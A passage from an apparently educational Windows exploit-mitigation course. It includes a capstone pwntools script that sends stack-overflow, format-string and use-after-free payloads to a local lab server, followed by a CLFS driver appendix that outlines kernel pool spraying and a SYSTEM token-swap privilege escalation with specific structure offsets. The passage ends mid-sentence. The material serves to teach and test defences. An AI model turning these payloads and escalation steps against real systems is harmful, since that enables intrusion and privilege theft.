Server**\n\n```python\n#!\u002Fusr\u002Fbin\u002Fenv python3\n# capstone_exploit.py - Exploit that works WITHOUT mitigations, fails WITH\n# This demonstrates Week 6 mitigations blocking Week 5 attacks\n\nfrom pwn import *\nimport struct\nimport sys\nimport time\n\n# Configuration\nHOST = \"127.0.0.1\"\nPORT = 4444\n\ndef exploit_stack_overflow():\n    \"\"\"Stack overflow - blocked by DEP + Stack Cookies\"\"\"\n    print(\"\\n\" + \"=\"*60)\n    print(\"[EXPLOIT 1] Stack Buffer Overflow (AUTH)\")\n    print(\"=\"*60)\n\n    # Shellcode (x64 Windows - calc.exe launcher pattern)\n    # This is BLOCKED by DEP (cannot execute stack)\n    shellcode = b\"\\x90\" * 50  # NOP sled\n    shellcode += b\"\\xCC\" * 4  # INT3 (breakpoint for testing)\n\n    # Overflow pattern\n    offset = 64  # Buffer size\n    payload = b\"A\" * offset\n    payload += b\"BBBBBBBB\"  # Saved RBP (will corrupt stack cookie first!)\n    payload += struct.pack(\"\u003CQ\", 0x41414141)  # Return address\n    payload += shellcode\n\n    try:\n        io = remote(HOST, PORT, timeout=5)\n        io.send(b\"AUTH \" + payload)\n        io.close()\n\n        print(\"[-] Sent overflow payload\")\n        print(\"[*] Expected result WITHOUT mitigations: Code execution\")\n        print(\"[*] Expected result WITH mitigations:\")\n        print(\"    - \u002FGS: Process terminates (cookie corrupted)\")\n        print(\"    - DEP: Access violation if shellcode reached\")\n        print(\"    - ASLR: Return address wrong anyway\")\n    except Exception as e:\n        print(f\"[*] Connection error (server may have crashed): {e}\")\n        print(\"[+] If server crashed: Mitigation likely triggered!\")\n\ndef exploit_format_string():\n    \"\"\"Format string info leak - ASLR makes this less useful\"\"\"\n    print(\"\\n\" + \"=\"*60)\n    print(\"[EXPLOIT 2] Format String Information Leak (LOG)\")\n    print(\"=\"*60)\n\n    # Leak stack addresses\n    leak_payload = b\"%p.\" * 20\n\n    try:\n        io = remote(HOST, PORT, timeout=5)\n        io.send(b\"LOG \" + leak_payload)\n        io.close()\n\n        print(\"[*] Sent format string payload: %p.%p.%p...\")\n        print(\"[*] Without ASLR: Addresses are predictable across runs\")\n        print(\"[*] With ASLR: Addresses randomized - exploit unreliable\")\n        print(\"[*] Check server output for leaked addresses\")\n    except Exception as e:\n        print(f\"[*] Error: {e}\")\n\ndef exploit_uaf():\n    \"\"\"Use-after-free - heap hardening makes this harder\"\"\"\n    print(\"\\n\" + \"=\"*60)\n    print(\"[EXPLOIT 3] Use-After-Free (ALLOC\u002FFREE\u002FUSE)\")\n    print(\"=\"*60)\n\n    try:\n        # Step 1: Allocate object\n        io = remote(HOST, PORT, timeout=5)\n        io.send(b\"ALLOC\")\n        io.close()\n        print(\"[1] Allocated user object\")\n\n        # Step 2: Free object (but pointer not nulled)\n        io = remote(HOST, PORT, timeout=5)\n        io.send(b\"FREE\")\n        io.close()\n        print(\"[2] Freed object (dangling pointer)\")\n\n        # Step 3: Try to reallocate with controlled data\n        # On unprotected heap: might reclaim same memory\n        fake_vtable = struct.pack(\"\u003CQ\", 0x41414141)  # Fake callback ptr\n        payload = b\"A\" * 64 + fake_vtable\n\n        io = remote(HOST, PORT, timeout=5)\n        io.send(b\"USE \" + payload)\n        io.close()\n        print(\"[3] Used freed object with controlled data\")\n\n        print(\"[*] Without heap hardening: Callback hijacked\")\n        print(\"[*] With Segment Heap\u002FLFH: Reallocation unpredictable\")\n        print(\"[*] With CFG + shellcode address: Call BLOCKED (exit 0x80000003)\")\n        print(\"[*] With CFG + valid function (admin_callback): Call ALLOWED!\")\n        print(\"[*]   -> CFG is coarse-grained (proven in Day 2-3)\")\n    except Exception as e:\n        print(f\"[*] Error: {e}\")\n\ndef run_all_exploits():\n    \"\"\"Run all exploits and compare results\"\"\"\n    print(\"=\"*70)\n    print(\"CAPSTONE EXPLOIT SUITE - Mitigations Test\")\n    print(\"=\"*70)\n    print(f\"Target: {HOST}:{PORT}\")\n    print()\n    print(\"Run this against TWO versions of the server:\")\n    print(\"1. Compiled WITHOUT protections (exploits should work)\")\n    print(\"2. Compiled WITH protections (exploits should fail)\")\n    print()\n\n    input(\"Press Enter to start exploit chain...\")\n\n    exploit_stack_overflow()\n    time.sleep(1)\n\n    exploit_format_string()\n    time.sleep(1)\n\n    exploit_uaf()\n\n    print(\"\\n\" + \"=\"*70)\n    print(\"RESULTS ANALYSIS\")\n    print(\"=\"*70)\n    print(\"\"\"\nDocument for each exploit:\n\n| Exploit         | No Mitigations | With Mitigations | Blocking Mitigation |\n|-----------------|----------------|------------------|---------------------|\n| Stack Overflow  | RCE Achieved   | Crash\u002FBlock      | \u002FGS, DEP, ASLR      |\n| Format String   | Info Leaked    | Info Leaked*     | ASLR (partial)      |\n| Use-After-Free  | Callback Hijack| Blocked          | CFG, Heap Hardening |\n\n* Format string still works, but ASLR makes leaked addresses useless\n  for subsequent attacks since they change each run.\n\"\"\")\n\nif __name__ == \"__main__\":\n    run_all_exploits()\n```\n\n**Lab 7.3: Document Results**\n\nCreate a \"Hardening Report\" documenting:\n\n1. Initial vulnerability state\n2. Each mitigation enabled\n3. Exploit test results before\u002Fafter\n4. Recommendations for enterprise deployment\n\n**Testing Tips**:\n\n- Restart the server between exploit runs (it crashes after stack overflow)\n- Run exploits individually to see each result clearly:\n  ```bash\n  # Test one exploit at a time\n  python -c \"from capstone_exploit import *; exploit_stack_overflow()\"\n  python -c \"from capstone_exploit import *; exploit_format_string()\"\n  python -c \"from capstone_exploit import *; exploit_uaf()\"\n  ```\n- Compare server output between weak and hardened versions\n- Use `Check-Mitigations` to verify binary protections:\n  ```bash\n  Check-Mitigations \"bin\\vuln_capstone_weak.exe\"\n  Check-Mitigations \"bin\\vuln_capstone_hard.exe\"\n  ```\n\n### Capstone Checklist\n\n- [ ] `vuln_server_capstone` compiled WITHOUT protections - exploits work\n- [ ] `vuln_server_capstone` recompiled WITH full mitigations\n- [ ] Windows OS hardened (VBS\u002FHVCI enabled)\n- [ ] All three exploits confirmed blocked\n- [ ] \"Hardening Report\" generated with before\u002Fafter comparison\n\n### Key Takeaways - Day 7\n\n1. **Mitigations are layers, not walls**: No single mitigation stops everything. \u002FGS catches\n   the overflow, DEP blocks shellcode execution, ASLR makes addresses unpredictable, CFG\n   validates indirect calls. Together they make exploitation exponentially harder.\n2. **Default ≠ Secure**: Out-of-the-box Windows prioritizes compatibility. Many mitigations\n   (VBS, HVCI, Credential Guard, ACG) must be explicitly enabled.\n3. **Recompilation is the most impactful single action**: Adding `\u002FGS \u002Fguard:cf \u002FDYNAMICBASE\n\u002FHIGHENTROPYVA \u002FNXCOMPAT` to the build immediately enables 5+ mitigations.\n4. **CFG has a proven coarse-grained bypass**: The UAF exploit redirecting to\n   `admin_callback` (a valid function) will PASS CFG validation even with\n   `\u002Fguard:cf` enabled. This was proven throughout Days 2-4.\n5. **Format strings still leak on Windows**: MSVCRT's `%p` outputs bare hex (no `0x` prefix)\n   and does NOT support positional parameters (`%N$x`). ASLR makes leaked addresses\n   per-session, but they're still useful within a single connection.\n6. **Verification is mandatory**: You haven't secured it until you've tried to exploit it\n   and failed. Compare exit codes: `0xC0000409` (\u002FGS), `0x80000003` (CFG\u002FCET),\n   `0xC0000005` (DEP\u002Faccess violation), `0xC0000374` (heap corruption).\n\n### Discussion Questions\n\n1. **Which mitigation was the most effective against the Stack Overflow exploit?**\n\n   > \u002FGS (stack cookies) — because it detects the overflow BEFORE the attacker gets\n   > control. DEP would also block shellcode execution, but \u002FGS terminates the process\n   > at function epilogue, preventing any post-overflow actions. ASLR only helps if\n   > the attacker needs to know addresses (which they do for ROP\u002Fret2libc).\n\n2. **Why might an organization hesitate to enable VBS\u002FHVCI on all workstations?**\n\n   > Performance impact (2-15%), driver compatibility issues (unsigned\u002Fnon-compliant\n   > drivers break), legacy application support, hardware requirements (VT-x, TPM),\n   > and the inability to easily roll back if problems arise. VBS with UEFI lock\n   > cannot be disabled without clearing the UEFI firmware.\n\n3. **How does enabling ASLR affect the reliability of your exploits?**\n\n   > Exploits using hardcoded addresses become unreliable — they work on one boot\n   > but fail on the next. This forces attackers to add an information leak step\n   > (demonstrated in Day 2 Technique 1 with format strings). The exploit chain\n   > becomes: leak addresses -> calculate offsets -> deliver payload. This extra step\n   > increases complexity and detection opportunity.\n\n4. **If you could only enable ONE mitigation, which would it be and why?**\n   > DEP (\u002FNXCOMPAT) — because it eliminates the simplest and most common exploit\n   > primitive: \"overflow buffer, jump to shellcode.\" Without DEP, any buffer overflow\n   > that controls the instruction pointer is immediately exploitable. With DEP,\n   > attackers must use ROP or ret2libc, which requires knowing library addresses\n   > (defeated by ASLR) and is much more complex. DEP is also the lowest-overhead\n   > mitigation (hardware NX bit, no performance cost).\n\n## Appendix A: CLFS Deep Dive\n\nThe Common Log File System (CLFS) driver has become the **most frequently exploited Windows kernel component** for privilege escalation, with 32 CVEs since 2022 and at least 6 exploited in the wild by ransomware groups.\n\n### Why CLFS Matters for Vulnerability Researchers\n\n```text\nCLFS Exploitation Statistics (2022-2025):\n-----------------------------------------\nTotal CVEs:                    32+\nExploited in-the-wild:         6+\nAverage CVEs per year:         10+\nPrimary threat actors:         Ransomware (Storm-2460, RansomExx)\nTypical attack chain:          Initial access -> CLFS EoP -> SYSTEM -> Ransomware\n\nWhy so many bugs?\n- Complex binary log file format\n- Extensive parsing code in kernel mode\n- Legacy codebase with accumulated technical debt\n- Rich attack surface via user-controlled log files\n- Reliable exploitation primitives (UAF -> arbitrary R\u002FW)\n```\n\n### CLFS Architecture\n\n```text\n┌──────────────────────────────────────────────────────────────┐\n│                    CLFS Architecture                         │\n├──────────────────────────────────────────────────────────────┤\n│                                                              │\n│  USER MODE                                                   │\n│  ─────────                                                   │\n│  Application                                                 │\n│       │                                                      │\n│       ▼                                                      │\n│  clfsw32.dll (User-mode CLFS library)                        │\n│       │                                                      │\n│       │ CreateLogFile(), ReadLogRecord(), WriteLogRecord()   │\n│       ▼                                                      │\n│  ════════════════════════════════════════════════════════════│\n│                                                              │\n│  KERNEL MODE                                                 │\n│  ───────────                                                 │\n│  clfs.sys (Kernel driver)                                    │\n│       │                                                      │\n│       ├── CClfsBaseFilePersisted (Base Log File)             │\n│       ├── CClfsContainer (Container management)              │\n│       ├── CClfsLogFcbPhysical (File Control Block)           │\n│       └── CLFS_LOG_BLOCK_HEADER (Log block parsing)          │\n│                                                              │\n│  Attack Surface:                                             │\n│  ├── Log file parsing (most bugs here)                       │\n│  ├── Container operations                                    │\n│  ├── Metadata validation                                     │\n│  └── Reference counting (UAF bugs)                           │\n│                                                              │\n│  Log File Structure (.blf):                                  │\n│  ┌──────────────────────────────────────────────────────┐    │\n│  │ Control Record │ Base Record │ Containers │ Clients  │    │\n│  │    (metadata)  │  (shadow)   │  (data)    │ (state)  │    │\n│  └──────────────────────────────────────────────────────┘    │\n│                                                              │\n└──────────────────────────────────────────────────────────────┘\n```\n\n### CVE-2025-29824: CLFS Use-After-Free (Ransomware Favorite)\n\n```c\n\u002F\u002F clfs_analysis.c - CVE-2025-29824 vulnerability analysis\n\u002F\u002F CLFS Use-After-Free leading to privilege escalation\n\u002F\u002F Used by Storm-2460 threat actor for ransomware deployment\n\n\u002F*\nCVE-2025-29824: CLFS Use-After-Free\n━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n\nCVSS Score: 7.8 (HIGH)\nAttack Vector: Local\nPrivileges Required: Low (any authenticated user)\nImpact: SYSTEM privilege escalation\n\nRoot Cause:\n- Race condition in CLFS log file handling\n- Object freed while still referenced\n- Attacker can reclaim freed memory with controlled data\n- Leads to arbitrary kernel read\u002Fwrite\n\nExploitation Flow:\n1. Create malicious .blf log file\n2. Trigger specific CLFS operations\n3. Race condition frees object prematurely\n4. Spray kernel pool to reclaim freed memory\n5. Trigger use of freed object -> controlled call\u002Fwrite\n6. Achieve arbitrary kernel R\u002FW\n7. Token swap for SYSTEM privileges\n*\u002F\n\n#include \u003Cwindows.h>\n#include \u003Cclfsw32.h>\n#include \u003Cstdio.h>\n\n#pragma comment(lib, \"clfsw32.lib\")\n\n\u002F\u002F Structure representing CLFS log block header (simplified)\n\u002F\u002F WARNING: This is a CONCEPTUAL layout for educational purposes.\n\u002F\u002F The actual on-disk _CLFS_LOG_BLOCK_HEADER has different field\n\u002F\u002F ordering and sizes. Do NOT use this struct to parse real .blf files.\n\u002F\u002F For accurate definitions, use: dt clfs!_CLFS_LOG_BLOCK_HEADER in WinDbg.\ntypedef struct _CLFS_LOG_BLOCK_HEADER {\n    UCHAR MajorVersion;\n    UCHAR MinorVersion;\n    UCHAR Usn;\n    UCHAR ClientId;\n    USHORT TotalSectorCount;\n    USHORT ValidSectorCount;\n    ULONG Padding;\n    ULONG Checksum;\n    ULONG Flags;\n    CLFS_LSN CurrentLsn;\n    CLFS_LSN NextLsn;\n    ULONG RecordOffsets[16];\n    ULONG SignaturesOffset;\n} CLFS_LOG_BLOCK_HEADER, *PCLFS_LOG_BLOCK_HEADER;\n\nvoid analyze_clfs_attack_surface() {\n    printf(\"=== CLFS Attack Surface Analysis ===\\n\\n\");\n\n    printf(\"High-Value Targets in clfs.sys:\\n\");\n    printf(\"━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\\n\");\n    printf(\"1. CClfsBaseFilePersisted::ReadMetadataBlock()\\n\");\n    printf(\"   - Parses log file metadata\\n\");\n    printf(\"   - Integer overflows in size calculations\\n\\n\");\n\n    printf(\"2. CClfsContainer::ReadSector()\\n\");\n    printf(\"   - Reads container data\\n\");\n    printf(\"   - Buffer size mismatches\\n\\n\");\n\n    printf(\"3. ClfsDecodeBlock()\\n\");\n    printf(\"   - Decodes log block data\\n\");\n    printf(\"   - Checksum validation bypasses\\n\\n\");\n\n    printf(\"4. CClfsLogFcbPhysical::FlushMetadata()\\n\");\n    printf(\"   - Reference counting bugs\\n\");\n    printf(\"   - UAF during concurrent operations\\n\\n\");\n\n    printf(\"Common Vulnerability Patterns:\\n\");\n    printf(\"------------------------------\\n\");\n    printf(\"- Integer overflow in size fields\\n\");\n    printf(\"- Use-after-free in object management\\n\");\n    printf(\"- Out-of-bounds read\u002Fwrite in parsing\\n\");\n    printf(\"- Type confusion between record types\\n\");\n    printf(\"- Race conditions in multi-threaded ops\\n\");\n}\n\nvoid demonstrate_clfs_api() {\n    printf(\"\\n=== CLFS API for Researchers ===\\n\\n\");\n\n    \u002F\u002F Creating a log file for analysis\n    WCHAR logPath[] = L\"C:\\\\temp\\\\research.blf\";\n    HANDLE hLog = INVALID_HANDLE_VALUE;\n\n    printf(\"Key CLFS APIs:\\n\");\n    printf(\"--------------\\n\");\n\n    printf(\"1. CreateLogFile() - Create\u002Fopen log file\\n\");\n    printf(\"   -> Entry point, validates .blf structure\\n\\n\");\n\n    printf(\"2. AddLogContainer() - Add storage container\\n\");\n    printf(\"   -> Manages physical storage\\n\\n\");\n\n    printf(\"3. CreateLogMarshallingArea() - Set up I\u002FO\\n\");\n    printf(\"   -> Memory mapping, buffer management\\n\\n\");\n\n    printf(\"4. ReserveAndAppendLog() - Write records\\n\");\n    printf(\"   -> Where many parsing bugs trigger\\n\\n\");\n\n    printf(\"5. ReadLogRecord() - Read records\\n\");\n    printf(\"   -> Triggers block parsing code\\n\\n\");\n\n    \u002F\u002F Example: Create a minimal log for analysis\n    printf(\"Creating test log file...\\n\");\n\n    hLog = CreateLogFile(\n        logPath,\n        GENERIC_READ | GENERIC_WRITE,\n        FILE_SHARE_READ | FILE_SHARE_WRITE,\n        NULL,\n        OPEN_ALWAYS,\n        0\n    );\n\n    if (hLog != INVALID_HANDLE_VALUE) {\n        printf(\"[+] Log created: %ls\\n\", logPath);\n        printf(\"[*] Analyze with: !clfs in WinDbg\\n\");\n        CloseHandle(hLog);\n    } else {\n        printf(\"[-] CreateLogFile failed: %d\\n\", GetLastError());\n    }\n}\n\nvoid show_windbg_clfs_commands() {\n    printf(\"\\n=== WinDbg CLFS Analysis Commands ===\\n\\n\");\n\n    printf(\"# Load CLFS extension\\n\");\n    printf(\".load clfs\\n\\n\");\n\n    printf(\"# List CLFS log files\\n\");\n    printf(\"!clfs loglist\\n\\n\");\n\n    printf(\"# Dump log file info\\n\");\n    printf(\"!clfs loginfo \u003Clog_address>\\n\\n\");\n\n    printf(\"# Dump container info\\n\");\n    printf(\"!clfs container \u003Ccontainer_address>\\n\\n\");\n\n    printf(\"# Set breakpoint on key functions\\n\");\n    printf(\"bp clfs!CClfsBaseFilePersisted::ReadMetadataBlock\\n\");\n    printf(\"bp clfs!ClfsDecodeBlock\\n\");\n    printf(\"bp clfs!CClfsContainer::ReadSector\\n\\n\");\n\n    printf(\"# Track CLFS object allocations\\n\");\n    printf(\"!poolused 2 Clfs\\n\\n\");\n\n    printf(\"# CLFS pool tags\\n\");\n    printf(\"Clfs - General CLFS allocations\\n\");\n    printf(\"ClfB - CLFS base file\\n\");\n    printf(\"ClfC - CLFS container\\n\");\n    printf(\"ClfL - CLFS log context\\n\");\n}\n\nint main() {\n    printf(\"========================================\\n\");\n    printf(\"CLFS Vulnerability Research Guide\\n\");\n    printf(\"CVE-2025-29824 Analysis\\n\");\n    printf(\"========================================\\n\\n\");\n\n    analyze_clfs_attack_surface();\n    demonstrate_clfs_api();\n    show_windbg_clfs_commands();\n\n    printf(\"\\n=== Practical Research Steps ===\\n\\n\");\n    printf(\"1. Set up kernel debugging (VirtualKD\u002Fkdnet)\\n\");\n    printf(\"2. Create malformed .blf files\\n\");\n    printf(\"3. Monitor clfs.sys with breakpoints\\n\");\n    printf(\"4. Fuzz CLFS APIs with WinAFL\\n\");\n    printf(\"5. Analyze crashes for exploitability\\n\");\n    printf(\"6. Study patch diffs for variant hunting\\n\");\n\n    return 0;\n}\n```\n\n### CLFS Exploitation Primitive: From UAF to Kernel R\u002FW\n\n```python\n#!\u002Fusr\u002Fbin\u002Fenv python3\n# clfs_exploit_primitive.py - CLFS exploitation technique overview\n# Educational - demonstrates the UAF -> R\u002FW primitive chain\n\n\"\"\"\nCLFS UAF Exploitation Flow:\n---------------------------\n\n1. TRIGGER UAF\n   - Create race condition that frees CLFS object\n\n2. RECLAIM FREED MEMORY\n   - Spray kernel pool with controlled data\n   - Common technique: Pipe attributes (NpFsControlPipe)\n\n3. CORRUPT OBJECT\n   - Freed CLFS object now contains attacker data\n   - Craft fake object with malicious pointers\n\n4. TRIGGER USE\n   - CLFS code uses corrupted object\n   - Controlled read\u002Fwrite through fake pointers\n\n5. ACHIEVE ARBITRARY R\u002FW\n   - Leverage read\u002Fwrite primitive\n   - Locate EPROCESS, modify Token\n\n6. PRIVILEGE ESCALATION\n   - Copy SYSTEM token to current process\n   - Spawn elevated process\n\"\"\"\n\nimport ctypes\nimport struct\nfrom ctypes import wintypes\n\n# Windows API setup\nkernel32 = ctypes.windll.kernel32\nntdll = ctypes.windll.ntdll\n\ndef explain_pool_spray():\n    \"\"\"Explain kernel pool spray for CLFS exploitation\"\"\"\n\n    print(\"=== Kernel Pool Spray for CLFS UAF ===\\n\")\n\n    print(\"\"\"\nCLFS objects are allocated from NonPagedPoolNx.\nAfter UAF, we need to reclaim that memory with controlled content.\n\nCommon spray techniques:\n------------------------\n\n1. Named Pipe Attributes (most reliable)\n   - NtFsControlFile with FSCTL_PIPE_SET_ATTRIBUTE\n   - Allocates from same pool as CLFS\n   - Controllable size and content\n\n2. Extended Attributes (EAs)\n   - NtSetEaFile on crafted files\n   - Variable size allocations\n\n3. Registry Values\n   - NtSetValueKey with binary data\n   - Useful for specific sizes\n\nSpray Strategy:\n---------------\n1. Calculate target allocation size from CLFS object\n2. Create many pipe\u002FEA allocations of same size\n3. Trigger UAF to free CLFS object\n4. One spray allocation reclaims the freed slot\n5. CLFS code now operates on attacker data\n\"\"\")\n\ndef explain_token_swap():\n    \"\"\"Explain token manipulation for privilege escalation\"\"\"\n\n    print(\"=== Token Swap for Privilege Escalation ===\\n\")\n\n    print(\"\"\"\nOnce we have kernel R\u002FW, privilege escalation is straightforward:\n\n# WARNING: All offsets below are BUILD-SPECIFIC and change between\n# Windows versions\u002Fupdates. Always verify with:\n#   dt nt!_EPROCESS Token\n#   dt nt!_KTHREAD ApcState\n# before using in exploit code.\n\n1. LOCATE SYSTEM PROCESS\n   ---------------------\n   # Find System (PID 4) EPROCESS\n   - Walk ActiveProcessLinks from PsInitialSystemProcess\n   - Or use leaked kernel address + known offset\n\n2. READ SYSTEM TOKEN\n   -----------------\n   # EPROCESS+0x4B8 (Win11 22H2, verify for your build!) = Token\n   system_token = kernel_read(system_eprocess + 0x4B8)\n   # Token is actually _EX_FAST_REF, mask lower 4 bits\n   system_token &= ~0xF\n\n3. LOCATE CURRENT PROCESS\n   ----------------------\n   # Get current EPROCESS\n   current_eprocess = kernel_read(KTHREAD + 0x220)  # ApcState.Process (build-specific!)\n\n4. SWAP TOKEN\n   ----------\n   # Overwrite current process token with SYSTEM token\n   kernel_write(current_eprocess + 0x4B8, system_token)\n\n5. SPAWN ELEVATED PROCESS\n   ----------------------\n   # Current process now has SYSTEM privileges\n   os.system(\"cmd.exe\")  # This cmd has SYSTEM token!\n\"\"\")\n\ndef show_clfs_cve_history():\n    \"\"\"Show CLFS CVE history for variant analysis\"\"\"\n\n    print(\"=== CLFS CVE History (Variant Analysis) ===\\n\")\n\n    cves = [\n        (\"CVE-2022-24521\", \"Apr 2022\", \"EoP\", \"In-wild\", \"Log file parsing OOB\"),\n        (\"CVE-2022-37969\", \"Sep 2022\", \"EoP\", \"In-wild\", \"Container handling\"),\n        (\"CVE-2023-23376\", \"Feb 2023\", \"EoP\", \"In-wild\", \"Metadata parsing\"),\n        (\"CVE-2023-28252\", \"Apr 2023\", \"EoP\", \"In-wild\", \"Base file parsing\"),\n        (\"CVE-2024-6768\", \"Aug 2024\", \"DoS\", \"PoC\", \"NULL deref in parsing\"),\n        (\"CVE-2024-49138\", \"Dec 2024\", \"EoP\", \"In-wild\", \"Heap overflow\"),\n        (\"CVE-2025-29824\", \"Apr 2025\", \"EoP\", \"In-wild\", \"UAF in log handling\"),\n    ]\n\n    print(\"CVE             | Date     | Type | Status  | Root Cause\")\n    print(\"-\" * 70)\n    for cve, date, typ, status, cause in cves:\n        print(f\"{cve} | {date} | {typ}  | {status:7} | {cause}\")\n\n    print(\"\"\"\nPattern Analysis:\n-----------------\n- Most bugs in log file\u002Fmetadata parsing\n- UAF and OOB are dominant bug classes\n- Patches often incomplete -> variants found\n- Same code paths exploited repeatedly\n\nVariant Hunting Strategy:\n-------------------------\n1. Download patched and vulnerable clfs.sys\n2. BinDiff to find patched functions\n3. Analyze patch - what was the fix?\n4. Search for similar patterns elsewhere\n5. Fuzz the same code paths with new inputs\n\"\"\")\n\ndef main():\n    print(\"=\" * 60)\n    print(\"CLFS Exploitation Techniques - Educational Overview\")\n    print(\"=\" * 60)\n\n    explain_pool_spray()\n    explain_token_swap()\n    show_clfs_cve_history()\n\n    print(\"\\n=== Recommended Labs ===\\n\")\n    print(\"1. Set up CLFS debugging environment\")\n    print(\"2. Create and analyze .blf file structures\")\n    print(\"3. Practice kernel pool spray techniques\")\n    print(\"4. Study CVE-2023-28252 public PoC\")\n    print(\"5. Perform patch diff on recent CLFS updates\")\n\nif __name__ == \"__main__\":\n    main()\n```\n\n### CLFS Lab Setup\n\n```bash\n# clfs_lab_setup.ps1 - Set up CLFS research environment\n\nWrite-Host \"=== CLFS Research Lab Setup ===\" -ForegroundColor Green\n\n# 1. Create lab directory\n$labDir = \"C:\\CLFS_Research\"\nNew-Item -ItemType Directory -Force -Path $labDir\nSet-Location $labDir\n\n# 2. Create subdirectories\n@(\"samples\", \"dumps\", \"symbols\", \"tools\") | ForEach-Object {\n    New-Item -ItemType Directory -Force -Path \"$labDir\\$_\"\n}\n\n# 3. Download symbols for clfs.sys\nWrite-Host \"`n[*] Configuring symbols...\" -ForegroundColor Yellow\n$env:_NT_SYMBOL_PATH = \"srv*$labDir\\symbols*https:\u002F\u002Fmsdl.microsoft.com\u002Fdownload\u002Fsymbols\"\n\n# 4. Get current clfs.sys info\nWrite-Host \"`n[*] Current clfs.sys info:\" -ForegroundColor Yellow\n$clfs = Get-Item \"$env:SystemRoot\\System32\\drivers\\clfs.sys\"\nWrite-Host \"  Path: $($clfs.FullName)\"\nWrite-Host \"  Version: $($clfs.VersionInfo.FileVersion)\"\nWrite-Host \"  Size: $($clfs.Length) bytes\"\n\n# 5. Check for CLFS log files on system\nWrite-Host \"`n[*] Existing CLFS log files:\" -ForegroundColor Yellow\nGet-ChildItem -Path C:\\ -Filter \"*.blf\" -Recurse -ErrorAction SilentlyContinue |\n    Select-Object -First 10 FullName, Length\n\n# 6. Create test log file via CLFS API\n# NOTE: CreateLogFile may fail with error 1921 (ERROR_CANT_ACCESS_FILE) due to:\n#   - Insufficient permissions (requires admin\u002FSYSTEM in some cases)\n#   - Invalid log: prefix syntax on some Windows versions\n#   - CLFS service not running\n# Workaround: Use the compiled clfs_analysis.c or create .blf manually\nWrite-Host \"`n[*] Creating test log file...\" -ForegroundColor Yellow\n$testLog = \"$labDir\\samples\\test.blf\"\n\ntry {\n    # Use .NET interop to call CreateLogFile (clfsw32.dll)\n    Add-Type -TypeDefinition @'\n    using System;\n    using System.Runtime.InteropServices;\n    public class ClfsHelper {\n        [DllImport(\"clfsw32.dll\", CharSet = CharSet.Unicode, SetLastError = true)]\n        public static extern IntPtr CreateLogFile(\n            string pszLogFileName, int fDesiredAccess, int dwShareMode,\n            IntPtr lpSecurityAttributes, int fCreateDisposition,\n            int fFlagsAndAttributes);\n\n        [DllImport(\"kernel32.dll\", SetLastError = true)]\n        public static extern bool CloseHandle(IntPtr hObject);\n    }\n'@\n    # GENERIC_READ | GENERIC_WRITE = 0xC0000000 (as signed int = -1073741824)\n    $hLog = [ClfsHelper]::CreateLogFile(\"log:$testLog\", -1073741824, 3, [IntPtr]::Zero, 4, 0)\n    if ($hLog -ne [IntPtr]::Zero -and $hLog -ne [IntPtr]::new(-1)) {\n        Write-Host \"  [+] Created: $testLog\" -ForegroundColor Green\n        [ClfsHelper]::CloseHandle($hLog) | Out-Null\n    } else {\n        $err = [System.Runtime.InteropServices.Marshal]::GetLastWin32Error()\n        Write-Host \"  [-] CreateLogFile failed with error: $err\" -ForegroundColor Red\n        if ($err -eq 1921) {\n            Write-Host \"  [*] Error 1921 = ERROR_CANT_ACCESS_FILE\" -ForegroundColor Yellow\n            Write-Host \"  [*] This is common - CLFS requires specific permissions\" -ForegroundColor Yellow\n            Write-Host \"  [*] Alternative: Run clfs_analysis.exe as Administrator\" -ForegroundColor Yellow\n        }\n    }\n} catch {\n    Write-Host \"  [-] CLFS API call failed: $_\" -ForegroundColor Red\n    Write-Host \"  [*] Alternative: compile and run clfs_analysis.c as Administrator\" -ForegroundColor Yellow\n}\n\n# 7. WinDbg commands cheat sheet\n$windbgCheatsheet = @\"\n=== CLFS WinDbg Cheat Sheet ===\n\n# Set up kernel debugging\nbcdedit \u002Fdebug on\nbcdedit \u002Fdbgsettings net hostip:192.168.1.100 port:50000\n\n# Connect WinDbg\nwindbg -k net:port=50000,key=1.2.3.4\n\n# In WinDbg:\n.symfix\n.reload \u002Ff clfs.sys\n\n# CLFS breakpoints\nbp clfs!CClfsBaseFilePersisted::ReadMetadataBlock\nbp clfs!ClfsDecodeBlock\nbp clfs!CClfsBaseFilePersisted::FlushMetadata\n\n# Monitor CLFS pool allocations\n!poolused 2 Clfs\n\n# Dump CLFS structures\ndt clfs!_CLFS_LOG_BLOCK_HEADER\ndt clfs!_CLFS_CONTAINER_CONTEXT\n\n# Trace CLFS API calls\n!wmitrace.dynamicprint 1\n\n# Memory analysis\n!pool \u003Caddress>\n!poolfind Clfs\n\"@\n\n$windbgCheatsheet | Out-File \"$labDir\\windbg_clfs_cheatsheet.txt\"\nWrite-Host \"[+] WinDbg cheatsheet saved to: $labDir\\windbg_clfs_cheatsheet.txt\" -ForegroundColor Green\n\nWrite-Host \"`n=== Lab Setup Complete ===\" -ForegroundColor Green\nWrite-Host \"Next steps:\"\nWrite-Host \"1. Enable kernel debugging on target VM\"\nWrite-Host \"2. Attach WinDbg and load CLFS symbols\"\nWrite-Host \"3. Set breakpoints on CLFS functions\"\nWrite-Host \"4. Create\u002Fopen .blf files to trigger code paths\"\nWrite-Host \"5. Analyze execution flow for vulnerability research\"\n```\n\n**Compile and Run CLFS Analysis Tools**:\n\n```bash\n# Navigate to lab directory\ncd C:\\Windows_Mitigations_Lab\n\n# Create CLFS research directory\nmkdir C:\\CLFS_Research\nmkdir C:\\CLFS_Research\\src\nmkdir C:\\CLFS_Research\\bin\nmkdir C:\\CLFS_Research\\samples\n\n# Save the clfs_analysis.c code to C:\\CLFS_Research\\src\\clfs_analysis.c\n# Save the clfs_exploit_primitive.py to C:\\CLFS_Research\\src\\clfs_exploit_primitive.py\n# Save the clfs_lab_setup.ps1 to C:\\CLFS_Research\\clfs_lab_setup.ps1\n\n# IMPORTANT: CLFS operations may require Administrator privileges\n# If you get error 1921 (ERROR_CANT_ACCESS_FILE), run as Administrator:\n# Right-click PowerShell\u002FCMD -> \"Run as Administrator\"\n\n# Step 1: Compile CLFS analysis tool\ncd C:\\CLFS_Research\ncl \u002FZi src\\clfs_analysis.c \u002FFe:bin\\clfs_analysis.exe \u002Flink clfsw32.lib \u002FDEBUG\n# Note: Requires clfsw32.lib which comes with Windows SDK\n\n# Step 2: Run CLFS analysis (try as Administrator if it fails)\n.\\bin\\clfs_analysis.exe\n# If you see \"CreateLogFile failed: 1921\", run as Administrator:\n# Right-click PowerShell -> Run as Administrator, then run again\n\n# This will:\n#   - Show CLFS attack surface analysis\n#   - Create a test .blf log file at C:\\temp\\research.blf\n#   - Display 